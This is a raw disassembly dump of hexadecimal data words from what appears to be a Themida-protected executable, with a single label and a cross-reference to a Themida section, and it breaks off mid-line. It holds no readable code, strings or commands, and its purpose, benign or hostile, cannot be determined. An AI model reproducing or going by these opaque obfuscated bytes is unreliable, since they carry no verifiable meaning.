dd 4407D595h, 7985C706h, 0C4064406h, 6A00006Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 35C2C352h, 0F6BF66F0h, 0A1958BD0h, 0C706442Eh, 44107185h dd 6, 0C1958B00h, 0FF064417h, 441099B5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0DE506571h, 893180BCh, 4418D1B5h, 0F995FF06h, 6A06440Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0FAECC353h, 0E081B866h, 8830Fh, 0F570000h dd 8Bh, 6A5800h, 1C4D95FFh, 0C08B0644h, 50174EEBh, 221291F0h dd 0DCFAF2FFh, 4C18C913h, 44F90221h, 8A748BC7h, 130B4379h dd 0C7E66E0Eh, 21720D4Dh, 0F2D6DA28h, 0EA53200Bh, 1BA9B049h dd 97030C6Bh, 496705B5h, 52F3A68Bh, 578DB984h, 0FA4E6EE6h dd 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h, 18399D8Dh, 4CB80644h dd 89000014h, 44304585h, 0E806h, 5580000h, 0Dh, 4CE90389h dd 14h, 512h dup(0) dd 0EB000000h, 16h, 4 dup(0) dd 4010100h, 4A000004h, 49958906h, 50064421h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 71C8C350h, 2882C85h, 8992A19Ah, 44310995h dd 5E906h, 94D50000h, 6A61D750h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0D3560A58h dd 3B590111h, 0A19D0BB4h, 81064431h, 1A630AD1h, 0C88B6646h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0B1E5A1C3h, 0D68B6681h, 0F680858Dh, 9D23064Ah dd 6442E31h, 0DE990h, 4CFD0000h, 3CA38994h, 342E5424h dd 50D0CA34h, 0CE960h, 0B1FD0000h, 5CE07409h, 0A879C07h dd 0F18B05FBh, 6AF89061h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 3E52FDCEh dd 0BC1859CCh, 10E9BAh, 0B5DE0000h, 2A6376F6h, 62A74073h dd 3EBDC5A9h, 6AE385h, 6820Fh, 0B5310000h, 6441BE5h, 959BD8Bh dd 95FF0644h, 6441825h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 1DC35343h, 0F8EB612h, 87h, 8E900h, 0BCA40000h dd 0E2A09286h, 0AE91BEBh, 0C1000000h, 2E02948Fh, 6ACA961Ah dd 5DBE90Bh, 0E80000h dword_5ABD2C dd 5D000000h, 0F685ED81h, 6A064Ah, 3E852h, 5A200000h, 54895AC3h ; DATA XREF: Themida_:00560F78o dd 44810424h, 170424h, 52420000h, 0E1D9D5C3h, 65BD8B78h dd 0B2064416h, 0E8BB6034h, 0BF6739C6h, 6F09D54Dh, 0D51B6861h dd 0B9666D3Fh, 3481C263h, 3FDABB24h, 0E381666Dh, 95FF8C51h dd 6441C4Dh, 6918D31h, 0B58D0644h, 64AF4FBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 44C35141h, 85C9B6A7h dd 9A5C2534h, 5206C73Bh, 6A6D6765h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1C94C356h dd 0D40BA653h, 0BD8B2551h, 64407A1h, 1C518D31h, 46C70644h dd 636E6F04h, 57006A6Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 8B0874D1h, 5A5866F7h, 8D8BE937h dd 6441DB1h, 610846C7h, 6A007373h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0AF2CC352h dd 9A4A1CDDh, 8B3C18D9h, 4431B1BDh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 1692C356h, 75BD8BCCh, 8D064418h, 4AF4FB85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 4C2A5271h, 7B33BADBh, 50EEF280h, 489EFB6h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6195FF12h, 6A06442Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 2FE0C350h, 2FB1EBD0h dd 0BF4CCE5Bh, 12800Fh, 0DE90000h, 4C000000h, 0E82B4E01h dd 0AC69E27Eh, 0BEC1CFFh, 840FC00Bh, 53h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 17C35141h, 375E998h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A3203BC3h, 844BDFC5h, 811BE750h, 0B5A9DDE3h dd 0C58D891Bh, 68064413h, 0A152BA38h, 25BF6656h, 4815AE1h dd 0AD46F424h, 12E95Eh, 2A080000h, 0E6DE3AEAh, 814B0A77h dd 0A980041Dh, 2318468Bh, 1C4D95FFh, 6A0644h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0B1F91C3h dd 4402C5BDh, 0F2816606h, 0B58D06DBh, 64AF4FBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D3C35747h, 6634F8C2h dd 0CD1ED281h, 383106C7h, 6A3634h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 9F532C3h, 440D8185h dd 446C706h, 31342D37h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 73C35343h, 0C7BEB51Bh, 846h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0D7B348C3h, 0F704FA8Ah, 4830F99h, 66000000h, 6ABD31BFh dd 0EB816600h, 858D6830h, 64AF4FBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0B5C35747h, 0A29061E3h, 0BE814h dd 0A2B70000h, 0B711681h, 58BBB699h, 18A0F19h, 0F5000000h dd 0E850905Fh, 0Eh, 0ABA39E46h, 332E2DFDh, 3B745AAFh, 52502301h dd 310F5A51h, 9E8h, 31902600h, 91B38295h, 5A5F2C13h, 6A905A58h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 83A3C350h, 66DAD80Dh, 0DCD3CB81h, 16E18166h dd 6195FFFFh, 6606442Dh, 0BF427B9h, 35840FC0h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E96CC355h, 7, 56FDEABFh, 0E936A5ECh, 163h dd 55B50160h, 61064424h, 4E8h, 12C00h, 0F605000h, 68Bh dd 870F00h, 61000000h, 424448Bh, 45EA3ABBh, 60008B1Dh dd 0FD1A33B8h, 44896171h, 0CFB70424h, 4D95FF58h, 8B06441Ch dd 440CB1BDh, 0C5B50106h, 8D064428h, 4AF4FBB5h, 0A58D8B06h dd 0C706442Ah, 6C694606h, 3D8D8965h, 0C7064414h, 6F6D0446h dd 6A636Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 41B332C3h, 4163238Ch, 0EA8166F9h, 46C77AC5h dd 73616C08h, 39958973h, 52064419h, 0C3FBDB81h, 0C75F6634h dd 0C46h, 8D890000h, 6443005h, 0BA66006Ah, 858DEF09h, 64AF4FBh dd 13E8h, 9360FA00h, 0C1B12543h, 9C869EB3h, 0E4CAB0D4h dd 4A4AB5Ch, 0A5D7F781h, 90590432h, 0E948DEBFh, 0D48A5057h dd 0A5BF6690h, 6195FF59h, 6A06442Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2E72C353h dd 0F4BC92CAh, 55BD8B04h, 0B064421h, 3A840FC0h, 81000000h dd 0EFCC1BD7h, 35E978h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 3AAD1FC3h, 60279CA7h dd 22A58D31h, 95890644h, 6442E55h, 0FA88E961h, 8DF8FFFFh dd 44733AB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 7C490E74h, 0D0D0BA66h, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 6156E8D3h, 30199531h, 0E6FF0644h, 8E9h, 83ADDE00h, 8F39E9B7h dd 55C18BFCh, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 0C40FD49h dd 23A6FD20h, 34E7FD20h, 0BC45FD20h, 7937FD20h, 9B2DFD20h dd 0EA0AFD20h, 52EBFD20h, 0EC6FD20h, 230DFD20h, 34DAFD20h dd 0BE3FFD20h, 7998FD20h, 9879FD20h, 0E95AFD20h, 5006FD20h dd 0C6AFD20h, 259DFD20h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 5776FD7Ah dd 3F75A748h, 0CB75A748h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh dd 0BC75F8B2h, 2BF0701Ah, 0A673B67Ah, 0DD8951FFh, 40F0707Ch dd 6C73B67Ah, 0B88991FFh, 0B0F0707Ch, 3573B67Ah, 148955FFh dd 6F0707Ch, 1E73B67Ah, 81898DFFh, 0DF0707Ch, 7B73B785h dd 338989FFh, 3AF0707Ch, 0D773B784h, 658985FFh, 0FF0707Ch dd 4273B784h, 0AF8981FFh, 5CF0707Ch, 0F073B784h, 0F6897DFFh dd 57F0707Ch, 0A673B785h, 0DD8971FFh, 1EF0707Ch, 6C73B784h dd 0B88979FFh, 8DF0707Ch, 3573B784h, 148975FFh, 26F0707Ch dd 1E73B785h, 818971FFh, 0A6F0707Ch, 7B73B785h, 338961FFh dd 0DEF0707Ch, 0D773B785h, 65895DFFh, 12F0707Ch, 4273B785h dd 0AF8959FFh, 3CF0707Ch, 0F073B785h, 0F6896DFFh, 5BF0707Ch dd 0A673B67Ah, 0DD8969FFh, 6BF0707Ch, 6C73B67Ah, 0B88965FFh dd 0A0F0767Ch, 3573B975h, 148918FFh, 22F0767Ch, 1E73B964h dd 818914FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 418C17FBh dd 0D525FB30h, 0ADFDF53Fh, 913F019Eh, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 0A6987C27h, 0A073B784h, 658996FFh dd 0FCC87D7Ch, 0CF73B786h, 0E4C5B409h, 0F9B54B75h, 863589BAh dd 0F68914EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD3F0193h dd 191948F7h, 0C6F8FB30h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh dd 0BA8AFD7Ah, 913F0193h, 371948F7h, 0D1F8FB30h, 228A50FCh dd 87BC1F23h, 0F68996F7h, 52DA07Ch dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F43F019Fh dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 0DD8918EFh dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h, 0F68918EFh dd 54C54D7Ch, 0BA8AAD79h, 913F019Fh, 2BF69B20h, 277E9B7Eh dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h dd 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h, 2A75FD7Bh dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh, 0E906885h dd 1F2FFB30h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah dd 0E2CD3ED0h, 0D75FD7Ah, 338914EFh, 0CC0707Ch, 5D73B786h dd 2C7F518Ah, 72E002D0h, 873B786h, 0E574E592h, 0F8254D7Ah dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah dd 69B65779h, 81899FFFh, 87C87D7Ch, 0F373B786h, 0FCF8EC0Fh dd 0BA3F01AEh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0F6899FF7h, 3CC87D7Ch dd 2F73B786h, 12F8F10Fh, 0CD3F01AEh, 0E4DE152Ah, 4AB6FD7Ah dd 7975FD7Eh, 409C6885h, 0C3F8FB30h, 293EFC4Bh, 3D6DF9F0h dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h dd 0CB8A3E78h, 293F019Fh, 96514ACEh, 74C1FF0Eh, 4E13F2CAh dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h dd 68B65778h, 818918EFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h dd 708AFD7Ah, 0F43F0193h, 85BD60F7h, 0A0F8FB30h, 4ECD3E39h dd 0D075FD7Ah, 0DD8914EFh, 0CEB57E7Ch, 1A8935F1h, 0B88918EFh dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h dd 475FD7Ah, 2E3417FBh, 0EAFCFB31h, 2FCF7D86h, 0E573B786h dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 148914E8h, 0ADFCBD7Ch dd 913F0197h, 79F835F1h, 0E33EFF6Fh, 0E906F85h, 7FFDFB30h dd 4801F3Ch, 5E75FD6Dh, 0D3987F79h, 1A35FB30h, 8077F4E0h dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 40987779h, 0ECF8FB30h dd 293EFC8Dh, 2F2B5989h, 0CB75FD72h, 199C6F85h, 0AF6FB30h dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 8077D590h dd 14CF707Ch, 7973B786h, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh dd 0A226FD7Eh, 0DD890CE7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h dd 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 2D1417FBh, 25F8FB31h dd 0CD3F018Bh, 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h dd 0A28440F7h, 0EF46FB30h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h dd 0F43F018Bh, 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh dd 969E0479h, 0ABB69C82h, 198440F7h, 0F3CDFB30h, 0C075FD7Ah dd 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 6B8B78F7h, 0D08AFB30h dd 13E8CA8Bh, 30000000h, 0BFDF9942h, 5C7D7271h, 3E5C69F2h dd 0EF8B8016h, 0BF0F7FDBh, 12E859FEh, 45000000h, 0D4FF3447h dd 3CB690D5h, 6C910249h, 12E6535Ch, 12E96091h, 0BF000000h dd 0E8BD775Fh, 20C72390h, 7FAE60FFh, 76C568D1h, 0AE930h dd 58040000h, 334AA798h, 6046A30Bh, 0C1815F61h, 64DAh dd 2870Fh, 0D58A0000h, 0B1D9B4BBh, 44F3810Ah, 0FF0AB1C1h dd 0DF816631h, 0F58D9DCh, 887h, 2860F00h, 60000000h, 0AF08161h dd 604C2362h, 820F52h, 5B000000h, 8161E5B1h, 4A2631F0h dd 0A820F17h, 0F000000h, 484h, 0FBF6600h, 0CFE88137h, 811435E3h dd 0B805A5DEh, 18F5053h, 13E8h, 5C400200h, 1BE3A7E7h, 39DBA1B5h dd 6F75D079h, 8D4D4734h, 3DD28166h, 0E9815F62h, 7FC2C000h dd 9840Fh, 8A0F0000h, 3, 81F98B66h, 0C2BFFCC1h, 81F18B7Fh dd 1EBh, 6C850F00h, 0FFFFFFFh, 1484h, 0E8B0F00h, 0E9000000h dd 9, 101F6A86h, 2CACA8A1h, 3BE981h, 8B600000h, 442B8DBDh dd 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h dd 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h dd 0D3820F00h, 61FFFFFFh, 0E9C88BC3h, 2Ah, 2404C7h, 0E8000000h dd 0 dd 46ED815Dh, 8B064B04h, 89042444h, 441B0985h, 0B806h dd 8D8D0000h, 6444E55h, 54B8E1FFh, 8D000067h, 4B053D8Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 6B829D9Ch, 89858B57h, 5A06441Dh, 2F5D8D89h dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0BAB666C3h, 8C5D36C0h, 667B539Fh, 85C7D18Bh dd 6440679h, 6878h, 85C7F88Bh, 6441071h, 0 dd 0FFF1B70Fh, 441EB9B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D6DB2878h dd 0FFAF2E11h, 440BF995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0CE7C5442h dd 8166A4EFh, 0BE711FEBh, 17188DA4h, 95FF006Ah, 6441C4Dh dd 6DEBC08Bh, 23956881h, 1547D3Ah, 83D64D86h, 87855A56h dd 0CA86A4DDh, 0CF8E44FAh, 0DF98E090h, 510BC924h, 9035E212h dd 23591956h, 2F1BEDDEh, 81280E65h, 0EFDCD65Ch, 805189A2h dd 3FAD42BCh, 540B26E1h, 8877C407h, 97D943E7h, 6A111A3Bh dd 0D8EF32E0h, 763BB3CCh, 6F53139Eh, 9708B0E2h, 0DE109660h dd 2B1F6BFCh, 0A2A7004Bh, 3AD26B51h, 0AE876h, 0C2080000h dd 80BA764Fh, 4DCD444Fh, 6EDA83BEh, 7CBF5908h, 810B227Ah dd 6BB5C1h, 0FBF6600h, 1AD1680Fh, 8B660000h, 18B5BD1h dd 30FD9529h, 0F0810644h, 7DDFCC22h, 1A55B58Bh, 0C0810644h dd 620A7D22h, 1A35B531h, 0E8810644h, 67AF0AFh, 68A0Fh dd 0BD8B0000h, 64429F1h, 0BD8B0189h, 6442D81h, 6604E983h dd 0EB81FB8Bh, 1, 0FFB4850Fh, 0E9F9FFFFh, 0C9h, 0F0590361h dd 47EE56CEh, 0FA530979h, 48E15BC4h, 0FD541076h, 81E755DFh dd 0F1546AC3h, 7DE4DA73h, 0DB4876DFh, 0E084C069h, 0E58EBC7Fh dd 0E95B0DC2h, 7BD2B15h, 0C9F7BF9Eh, 0BE80E458h, 4DD49C48h dd 582A4E2Ah, 54AC221Ch, 59009F32h, 72C93069h, 0BC251B53h dd 0A43DA71Fh, 920DA485h, 0C93068E2h, 47F26D09h, 80C930C0h dd 39A42BEh, 0D44B0322h, 0C9733739h, 0B5256453h, 0E52B0CC9h dd 0A7AC972h, 0C8000000h, 0B4132D49h, 0C088A930h, 67D54F72h dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 2E68EDFAh, 0E9064B06h dd 0FFF9782Eh, 1C1A4C3Bh, 78534EF9h, 2357A08Dh, 6E0B87Ch dd 0C503064Bh, 0B7D404EBh, 0D9E957E3h, 6800000Dh, 64B093Fh dd 0F97805E9h, 0A6768FFh, 0FBE9064Bh, 68FFF977h, 64B0B2Eh dd 0F977F1E9h, 0BC568FFh, 0E7E9064Bh, 68FFF977h, 64B0F3Ch dd 0F977DDE9h, 125B68FFh, 0D3E9064Bh, 68FFF977h, 64B1365h dd 0F977C9E9h, 3AA200FFh, 8B39AD93h, 38A41C22h, 8A32AF91h dd 39AB1D23h, 0F26AB290h, 4779D094h, 0F3CD64E0h, 0BB852C90h dd 77339A4Ah, 8CCD8C13h, 0A8FEC2E5h, 2ED94F1Ah, 30940AB1h dd 0C3E2C3C9h, 0CFD645Ah, 351485DCh, 6BF4901Ch, 0C92FD7B0h dd 0B0193819h, 0B7D35AF6h, 7401FA28h, 6BF2D3CFh, 8147D0Fh dd 0BD33EEEEh, 0A7AB6AF5h, 0EB54C2EBh, 69D6E871h, 7B006AF3h dd 611A5DAFh, 0C2F450B5h, 5135FBAFh, 0EBAF0BCEh, 0D59DBCC2h dd 3185h, 9B373700h, 0AFE97612h, 1ECF74B7h, 0A6C2A63Fh dd 0EC718239h, 186A4BC2h, 0E60D07FBh, 98074FFCh, 0C2EC6ADDh dd 957AA4DFh, 0FBB08A31h, 7C2h, 0F1E57000h, 57000008h dd 1671D64Fh, 371637AEh, 47F56D53h, 60C1FFDEh, 492DB4FCh dd 26ACD03Bh, 0E5AD450Eh, 53FA6ADBh, 0B82F7D15h, 77492D0Ch dd 0EACB520Ah, 0BAF272D4h, 0BADEBADEh, 30447625h, 0E97657C9h dd 0C9304432h, 305E969Fh, 502641B3h, 0BCA63971h, 1DCF73E4h dd 7B3AA53Ch, 7DC2EBA4h, 5BF2719h, 2083BD9Ch, 0A38FF4BCh dd 0AFBF46BEh, 38EFFBh, 375D0000h, 4876129Bh, 9BFF66DEh dd 30945504h, 765776C9h, 37C55A3Eh, 96CF749Fh, 0C8A1D3B7h dd 0FC852AE7h, 62FD642Ch, 0C2EC2BB3h, 6FD45E25h, 0FBB04AF7h dd 0E33Ch, 0D64F8E00h, 5FC9F76Eh, 7C187CE5h, 309438E3h dd 5D1C83C9h, 6EC93094h, 5018394Fh, 0D64FF56Eh, 6BD67BE8h dd 0E679D0F1h, 0C930990Fh, 0B019CB38h, 56B0158Eh, 0BFC29CEEh dd 31C2C25Eh, 23CF8910h, 8EEA8EEAh, 0E9153B0h, 0C92FAD4Bh dd 8A155D7Ch, 0CF73AFC0h, 0C7812809h, 0B886E22Bh, 2D0C9547h dd 269E0165h, 0A7C93257h, 6ADCE286h, 44A09EFAh, 0A72CF280h dd 0AEF63BF0h, 17714FE6h, 1ADD08ADh, 52CB7DE1h, 0AD1C6h dd 0AA127000h, 1BC93D03h, 0A8148CB2h, 1AC23F01h, 0A91B8DB3h dd 2FA2200h, 0B78920A4h, 33D9450h, 0AB953CA0h, 67238A3Ah dd 8ADD9C03h, 0B8EEC2E5h, 6BD94F0Ah, 45F46B0Fh, 86C93094h dd 2246EFA7h, 0A53CA81Ch, 91F2CC84h, 7A1E7AD3h, 0BBB98508h dd 801FCD7Ah, 0C93003D9h, 299BD3F2h, 76129B37h, 6F36012h dd 3ACCAD5h, 3646D44Bh, 0F587CF74h, 0D44C0E86h, 0E77E5FAEh dd 0EBEDBD78h, 26D946C2h, 0EBED02B9h, 0CBEACBC2h, 0F2A93652h dd 0DBC2EBECh, 0E15BC4FAh, 111D6678h, 1B077C3Bh, 0B00CCE36h dd 0FE2153FBh, 33ADDC09h, 0B8005018h, 0B2000000h, 0A6ED64Fh dd 980FCC34h, 0B594B52Ch, 0EFA71D8Bh, 66DE4876h, 999560FFh dd 45BEC930h, 6C52369Fh, 3F0149F3h, 447A1EC6h, 5C0060DDh dd 5CC5E4C5h, 7FE5437Dh, 168FC7E6h, 1175C050h, 0A8D2463h dd 0F8B09A29h, 8449039Ch, 0A180CF74h, 6BA24E08h, 2823900Fh dd 0F9D8C933h, 29DF99Dh, 0C92DE057h, 6214C838h, 0D3350B43h dd 2086B811h, 45DA01A4h, 53CA7DE1h, 9A9C7h, 2BA2800h, 0B33195ABh dd 0BC241Ah, 0B22A97A9h, 1C3251Bh, 0BAA28AA8h, 0F31984Ch dd 0BB852C98h, 33D9448h, 0CF8B22A2h, 8A8534ABh, 1046C2E5h dd 6BD94FA2h, 0DD87FCC2h, 0A61E87B9h, 15F547EEh, 9E07BD2Bh dd 5CC9F7BFh, 0D64F71E8h, 0EA1F103Dh, 55CA6AE8h, 0C92F9EA6h dd 6270627h, 20E71CAFh, 5610590h, 1D56D177h, 0C8802537h dd 745B8957h, 0D7BAC8CFh, 0A9DA2D06h, 4F971C50h, 9D8803Dh dd 320C6828h, 0AB8A13D1h, 70987CE3h, 4DE56CB1h, 653BA4C0h dd 0A41FF347h, 0B65A1C85h, 80841B7Fh, 5D25B299h, 0BD26187Ch dd 0F4CAAE07h, 6D4CD58Fh, 25AA1B25h, 0A79900BCh, 83A28341h dd 61F48726h, 30A43DD2h, 8E2h, 0F0590361h, 47EE56CEh, 0FA530979h dd 48E15BC4h, 0FD541076h, 81E755DFh, 0F1546AC3h, 7DE4DA73h dd 0DB4876DFh, 0E084C069h, 0E589BC7Fh, 0E95B0DC2h, 0F76ED64Fh dd 0F09421B1h, 74C7916Fh, 0F486E2CFh, 61934F45h, 0F2A93642h dd 0DBC2EC3Ch, 0E5C4B2FAh, 9844BF81h, 0FB6B5531h, 3CE8930Ch dd 0C0E1C2ECh, 115978E1h, 9108B42Fh, 0EC3D4B0Eh, 950A6EC2h dd 0C2EC3CE6h, 118EC6E7h, 0C2EC4D66h, 1672BB57h, 3071E789h dd 5EC7E6C9h, 0E4410360h, 7DE39353h, 4BF86CF5h, 8A000008h dd 330DA418h, 86B811D3h, 350BA21Ah, 87B910CCh, 280AA321h dd 3AAA1C00h, 8A3AAD93h, 36A61D23h, 8044A19Fh, 96096D29h dd 0C2E588E3h, 3700B2E4h, 0E976129Bh, 0CF74B947h, 8735AA94h dd 1773F1Eh, 0C25DC43Fh, 0C2EC6F17h, 91B091B0h, 0B1E6C08h dd 40FC65E4h, 0E0136932h, 0B62E96A8h, 7229B6D2h, 5BC2EB96h dd 0A59B327Ah, 83E78341h, 0EB965D1Ch, 74F6EC2h, 0F83DD89Eh dd 9690039Ch, 6849C2EBh, 0EC58CFF1h, 66D64B75h, 200A71FFh dd 32F542Ch, 0C865AE16h, 0CC2A3275h, 0B62980A1h, 0C2EC76FFh dd 0B4D065F0h, 3FA6168Ah, 0AD32561Eh, 0C2EC7712h, 457BD2F3h dd 9EFA63E1h, 188143A0h, 1FEE7139h, 6EC2EC78h, 0B82C0915h dd 2B9BA50Ch, 84E3DDB9h, 307859C0h, 77CF36A9h, 0EE58C2ECh dd 70D1EF76h, 304B55CCh, 156E16E6h, 0CB82C09h, 1F301A68h dd 0B86E3DC4h, 781F59F0h, 12C45B3Fh, 0B3C2EC21h, 4A940B92h dd 0BA374D85h, 94F055C1h, 0A18FCF98h, 1D3h dd 129B3713h, 9C07E976h, 6746CF74h, 1CC83D03h, 0AA1A8BB5h dd 384BAC33h, 0FE854A33h, 0B55EC734h, 23BDFEFh, 4AB98740h dd 0B2A0B92h, 0EE279CA2h, 8A2E40AEh, 61F8D952h, 0AE079027h dd 2F8DF4CAh, 0A81C88B6h, 79311031h, 67DDA47h, 0D0EE7756h dd 0D176EE73h, 7253CA72h, 0CAEBCA53h, 8E3690AEh, 813B6517h dd 98445BA7h, 6658F1B9h, 557002FDh, 38429B7Ch, 1F611887h dd 4B6A482Eh, 7B6CF36Ah, 0F5BAB8D5h, 89EDA48Eh, 0A7D46316h dd 0E75A64D5h, 0ECCDEC75h, 4BF6A99Eh, 460E72A9h, 3D590B78h dd 6921A303h, 299AA4C0h, 0E5BA61FEh, 3213D5A7h, 51B48A13h dd 0A2B0A93h, 5D077C42h, 0A0C4A0C4h, 0A7E57C3Fh, 0F36C4DD5h dd 0D5A7E548h, 269EA081h, 4E0627BEh, 4C286D08h, 49AC5A28h dd 1481A140h, 7418C35Ch, 90B1D5A8h, 3CA10739h, 0A23B1ACAh dd 0A0C451E4h, 0A874803Fh, 0C96041D5h, 4FD68EF7h, 54B21771h dd 9280990h, 8793E890h, 51CE39AAh, 0D5A874AAh, 8A230223h dd 0F1954FB4h, 8AE46483h, 0DD95C60Eh, 71730244h, 0E041A381h dd 147051F8h, 0A836D88Bh, 79D0F1D5h, 0FF66DE47h, 63FA62C1h dd 4BB789EDh, 0E8A344C2h, 6849B126h, 0E398D0F1h, 0BE69DA37h dd 0A7977A21h, 7253D5h, 0AEDFA839h, 933A1B56h, 158C38ADh dd 0BA8F0371h, 